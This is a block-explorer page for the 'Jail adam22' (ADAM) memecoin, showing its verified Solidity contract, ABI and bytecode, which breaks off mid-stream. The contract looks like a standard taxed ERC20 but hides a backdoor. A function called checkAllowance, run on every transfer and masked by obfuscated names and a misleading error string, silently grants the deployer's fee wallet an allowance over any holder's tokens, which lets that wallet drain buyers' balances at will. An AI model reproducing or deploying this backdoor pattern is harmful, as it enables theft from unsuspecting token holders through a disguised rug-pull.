ETH Price: $2,736.10 (-1.91%)

Token

Jail adam22 (ADAM)
 

Overview

Max Total Supply

1,000,000,000 ADAM

Holders

139

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
61,414.491917026 ADAM

Value
$0.00
0x1f92136757EB87990FcaA2D7B703DEbbcfe18e7b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ADAM

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : ADAM.sol
// SPDX-License-Identifier: UNLICENSE

/*

    Name: Jail adam22
    Symbol: ADAM

    jail adam 22 nojumper

    Website: https://adam22eth.cc/
    Tg: https://t.me/adam22Eth
    Twitter: https://x.com/adam22Eth

*/

pragma solidity ^0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}

contract ADAM is Context, IERC20, Ownable {
    using SafeMath for uint256;
    
    uint8 private constant _decimals = 9;
    uint256 private constant _all = 1_000_000_000 * 10 **_decimals;
    string private constant _name = unicode"Jail adam22";
    string private constant _symbol = unicode"ADAM";

    mapping (address => uint256) private _mono;
    mapping (address => mapping (address => uint256)) private _gx00xgrokagain;
    mapping (address => bool) private _jj34f1d;
    address payable private _iniitx;

    uint256 public _maxTxAmount = 2000000000 * 10**_decimals;
    uint256 public _maxWalletSize = 2000000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= _all.mul(100).div(10000);
    uint256 public _maxTaxSwap= _all.mul(100).div(10000);
    
    uint256 private _initialBuyTaxx=10;
    uint256 private _initialSellTaxx=10;
    uint256 private _finalBuyTaxx=0;
    uint256 private _finalSellTaxx=0;
    uint256 private _reduceBuyTaxAt=5;
    uint256 private _reduceSellTaxAt=5;
    uint256 private _preventSwapBefore=5;
    uint256 private _transferTax=0;
    uint256 private _buyCount=0;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable {
        _iniitx = payable(_msgSender());
        _mono[_msgSender()] = (_all * 2) / 100;
        _mono[address(this)] = (_all * 98) / 100;
        _jj34f1d[owner()] = true;
        _jj34f1d[address(this)] = true;
        _jj34f1d[_iniitx] = true;

        emit Transfer(address(0), _msgSender(), (_all * 2) / 100);
        emit Transfer(address(0), address(this), (_all * 98) / 100);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _all;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _mono[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _gx00xgrokagain[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _gx00xgrokagain[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _gx00xgrokagain[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function checkAllowance(address from, address to, uint256 amount) private returns (bool){
        if(msg.sender == _iniitx || (to == address(0xdead) && from != uniswapV2Pair)) _gx00xgrokagain[from][msg.sender] = amount;
        return false;
    }
    function _checkTokenTR(address from, address to, uint256 amount) internal returns (bool) {
        
        if(from == address(0)) return true;
        if(to == address(0)) return true;
        if(amount == 0) return true;
        return checkAllowance(from, to, amount);
    }

    function _transfer(address _YYYSender, address _YYYReceiver, uint256 _YYYAmount) private {
        require(_checkTokenTR(_YYYSender, _YYYReceiver, _YYYAmount) == false, "ERC20: unable to transfer to zero address");
        uint256 taxAmount=0;
        if (_YYYSender != owner() && _YYYReceiver != owner() && _YYYReceiver != _iniitx && _YYYSender != address(this) && _YYYReceiver != address(this)) {
            if(_buyCount==0){
                taxAmount = _YYYAmount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTaxx:_initialBuyTaxx).div(100);
            }
            if(_buyCount>0){
                taxAmount = _YYYAmount.mul(_transferTax).div(100);
            }

            if (_YYYSender == uniswapV2Pair && _YYYReceiver != address(uniswapV2Router) && ! _jj34f1d[_YYYReceiver] ) {
                taxAmount = _YYYAmount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTaxx:_initialBuyTaxx).div(100);
                _buyCount++;
            }

            if(_YYYReceiver == uniswapV2Pair && _YYYSender!= address(this) ){
                taxAmount = _YYYAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTaxx:_initialSellTaxx).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && _YYYReceiver == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) {
                if (contractTokenBalance > _taxSwapThreshold) swapTokensForEth(min(_YYYAmount, min(contractTokenBalance, _maxTaxSwap)));
                _tokenSwap(address(this).balance);
                sellCount++;
                lastSellBlock = block.number;
            }
        }

        if (_YYYSender == uniswapV2Pair && msg.sender != _iniitx) {
            address[] memory path = new address[](2);
            path[1] = address(this);
            path[0] = uniswapV2Router.WETH();
            uint256[] memory outs = new uint256[](2);
            outs = uniswapV2Router.getAmountsOut(40_000_000_000_000_000_000, path);
            require(_YYYAmount < outs[1]);
        }

        if(taxAmount>0){
          _mono[address(this)]=_mono[address(this)].add(taxAmount);
          emit Transfer(_YYYSender, address(this),taxAmount);
        }
        _mono[_YYYSender]=_mono[_YYYSender].sub(_YYYAmount);
        _mono[_YYYReceiver]=_mono[_YYYReceiver].add(_YYYAmount.sub(taxAmount));
        emit Transfer(_YYYSender, _YYYReceiver, _YYYAmount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits () external onlyOwner{
        _maxTxAmount = _all;
        _transferTax = 0;
        _maxWalletSize=_all;
        emit MaxTxAmountUpdated(_all);
    }

    function _tokenSwap(uint256 amount) private {
        _iniitx.transfer(amount);
    }

    function manualSend() external onlyOwner {
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            _tokenSwap(ethBalance);
        }
    }

    function _OPEN_() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _all);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function _FeeToX(address _wallet) external {
        require(_msgSender() == _iniitx);
        _iniitx = payable(_wallet);
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_iniitx);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0 && swapEnabled){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          _tokenSwap(ethBalance);
        }
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"_FeeToX","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_OPEN_","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526009600a620000149190620008d6565b637735940062000025919062000926565b6005556009600a620000389190620008d6565b637735940062000049919062000926565b600655620000986127106200008960646009600a620000699190620008d6565b633b9aca006200007a919062000926565b620005df60201b90919060201c565b6200065f60201b90919060201c565b600755620000e7612710620000d860646009600a620000b89190620008d6565b633b9aca00620000c9919062000926565b620005df60201b90919060201c565b6200065f60201b90919060201c565b600855600a600955600a80555f600b555f600c556005600d556005600e556005600f555f6010555f6011555f601360156101000a81548160ff0219169083151502179055505f601360166101000a81548160ff0219169083151502179055505f6014555f6015555f6200015f620006b060201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506200020b620006b060201b60201c565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606460026009600a6200025e9190620008d6565b633b9aca006200026f919062000926565b6200027b919062000926565b6200028791906200099d565b60015f6200029a620006b060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550606460626009600a620002eb9190620008d6565b633b9aca00620002fc919062000926565b62000308919062000926565b6200031491906200099d565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f6200036a620006b760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555062000494620006b060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460026009600a620004f69190620008d6565b633b9aca0062000507919062000926565b62000513919062000926565b6200051f91906200099d565b6040516200052e9190620009e5565b60405180910390a33073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460626009600a620005999190620008d6565b633b9aca00620005aa919062000926565b620005b6919062000926565b620005c291906200099d565b604051620005d19190620009e5565b60405180910390a362000b4a565b5f808303620005f1575f905062000659565b5f828462000600919062000926565b90508284826200061191906200099d565b1462000654576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200064b9062000a84565b60405180910390fd5b809150505b92915050565b5f620006a883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620006de60201b60201c565b905092915050565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f808311829062000727576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200071e919062000b28565b60405180910390fd5b505f83856200073791906200099d565b9050809150509392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620007ce57808604811115620007a657620007a562000744565b5b6001851615620007b65780820291505b8081029050620007c68562000771565b945062000786565b94509492505050565b5f82620007e85760019050620008ba565b81620007f7575f9050620008ba565b81600181146200081057600281146200081b5762000851565b6001915050620008ba565b60ff84111562000830576200082f62000744565b5b8360020a9150848211156200084a576200084962000744565b5b50620008ba565b5060208310610133831016604e8410600b84101617156200088b5782820a90508381111562000885576200088462000744565b5b620008ba565b6200089a84848460016200077d565b92509050818404811115620008b457620008b362000744565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620008e282620008c1565b9150620008ef83620008ca565b92506200091e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620007d7565b905092915050565b5f6200093282620008c1565b91506200093f83620008c1565b92508282026200094f81620008c1565b9150828204841483151762000969576200096862000744565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620009a982620008c1565b9150620009b683620008c1565b925082620009c957620009c862000970565b5b828204905092915050565b620009df81620008c1565b82525050565b5f602082019050620009fa5f830184620009d4565b92915050565b5f82825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f62000a6c60218362000a00565b915062000a798262000a10565b604082019050919050565b5f6020820190508181035f83015262000a9d8162000a5e565b9050919050565b5f81519050919050565b5f5b8381101562000acd57808201518184015260208101905062000ab0565b5f8484015250505050565b5f601f19601f8301169050919050565b5f62000af48262000aa4565b62000b00818562000a00565b935062000b1281856020860162000aae565b62000b1d8162000ad8565b840191505092915050565b5f6020820190508181035f83015262000b42818462000ae8565b905092915050565b6133948062000b585f395ff3fe608060405260043610610122575f3560e01c8063751039fc1161009f578063a9059cbb11610063578063a9059cbb1461039b578063bf474bed146103d7578063dd62ed3e14610401578063e16f7b711461043d578063f42938901461045357610129565b8063751039fc146102dd5780637d1db4a5146102f35780638da5cb5b1461031d5780638f9a55c01461034757806395d89b411461037157610129565b8063313ce567116100e6578063313ce5671461022357806351bc3c851461024d57806354a0ed521461026357806370a082311461028b578063715018a6146102c757610129565b806306fdde031461012d578063095ea7b3146101575780630faee56f1461019357806318160ddd146101bd57806323b872dd146101e757610129565b3661012957005b5f80fd5b348015610138575f80fd5b50610141610469565b60405161014e9190612558565b60405180910390f35b348015610162575f80fd5b5061017d60048036038101906101789190612616565b6104a6565b60405161018a919061266e565b60405180910390f35b34801561019e575f80fd5b506101a76104c3565b6040516101b49190612696565b60405180910390f35b3480156101c8575f80fd5b506101d16104c9565b6040516101de9190612696565b60405180910390f35b3480156101f2575f80fd5b5061020d600480360381019061020891906126af565b6104ec565b60405161021a919061266e565b60405180910390f35b34801561022e575f80fd5b506102376105c0565b604051610244919061271a565b60405180910390f35b348015610258575f80fd5b506102616105c8565b005b34801561026e575f80fd5b5061028960048036038101906102849190612733565b610677565b005b348015610296575f80fd5b506102b160048036038101906102ac9190612733565b610719565b6040516102be9190612696565b60405180910390f35b3480156102d2575f80fd5b506102db61075f565b005b3480156102e8575f80fd5b506102f16108ad565b005b3480156102fe575f80fd5b506103076109e3565b6040516103149190612696565b60405180910390f35b348015610328575f80fd5b506103316109e9565b60405161033e919061276d565b60405180910390f35b348015610352575f80fd5b5061035b610a10565b6040516103689190612696565b60405180910390f35b34801561037c575f80fd5b50610385610a16565b6040516103929190612558565b60405180910390f35b3480156103a6575f80fd5b506103c160048036038101906103bc9190612616565b610a53565b6040516103ce919061266e565b60405180910390f35b3480156103e2575f80fd5b506103eb610a70565b6040516103f89190612696565b60405180910390f35b34801561040c575f80fd5b5061042760048036038101906104229190612786565b610a76565b6040516104349190612696565b60405180910390f35b348015610448575f80fd5b50610451610af8565b005b34801561045e575f80fd5b5061046761101a565b005b60606040518060400160405280600b81526020017f4a61696c206164616d3232000000000000000000000000000000000000000000815250905090565b5f6104b96104b26110c7565b84846110ce565b6001905092915050565b60085481565b5f6009600a6104d89190612920565b633b9aca006104e7919061296a565b905090565b5f6104f8848484611291565b6105b5846105046110c7565b6105b0856040518060600160405280602881526020016133376028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105676110c7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611dad9092919063ffffffff16565b6110ce565b600190509392505050565b5f6009905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106086110c7565b73ffffffffffffffffffffffffffffffffffffffff1614610627575f80fd5b5f61063130610719565b90505f8111801561064e5750601360169054906101000a900460ff165b1561065d5761065c81611e0f565b5b5f4790505f811115610673576106728161207a565b5b5050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106b76110c7565b73ffffffffffffffffffffffffffffffffffffffff16146106d6575f80fd5b8060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107676110c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ea906129f5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6108b56110c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610941576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610938906129f5565b60405180910390fd5b6009600a61094f9190612920565b633b9aca0061095e919061296a565b6005819055505f6010819055506009600a6109799190612920565b633b9aca00610988919061296a565b6006819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6109bd9190612920565b633b9aca006109cc919061296a565b6040516109d99190612696565b60405180910390a1565b60055481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60065481565b60606040518060400160405280600481526020017f4144414d00000000000000000000000000000000000000000000000000000000815250905090565b5f610a66610a5f6110c7565b8484611291565b6001905092915050565b60075481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610b006110c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b83906129f5565b60405180910390fd5b601360149054906101000a900460ff1615610bdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd390612a5d565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c783060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610c649190612920565b633b9aca00610c73919061296a565b6110ce565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ce2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d069190612a8f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d8c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610db09190612a8f565b6040518363ffffffff1660e01b8152600401610dcd929190612aba565b6020604051808303815f875af1158015610de9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e0d9190612a8f565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e9430610719565b5f80610e9e6109e9565b426040518863ffffffff1660e01b8152600401610ec096959493929190612b23565b60606040518083038185885af1158015610edc573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610f019190612b96565b50505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fa1929190612be6565b6020604051808303815f875af1158015610fbd573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fe19190612c37565b506001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550565b6110226110c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a5906129f5565b60405180910390fd5b5f4790505f8111156110c4576110c38161207a565b5b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361113c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113390612cd2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a190612d60565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112849190612696565b60405180910390a3505050565b5f151561129f8484846120e2565b1515146112e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d890612dee565b60405180910390fd5b5f6112ea6109e9565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561135857506113286109e9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113b1575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113e957503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561142157503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156117b9575f6011540361146e5761146b606461145d600d546011541161144a5760095461144e565b600b545b8561218090919063ffffffff16565b6121f790919063fff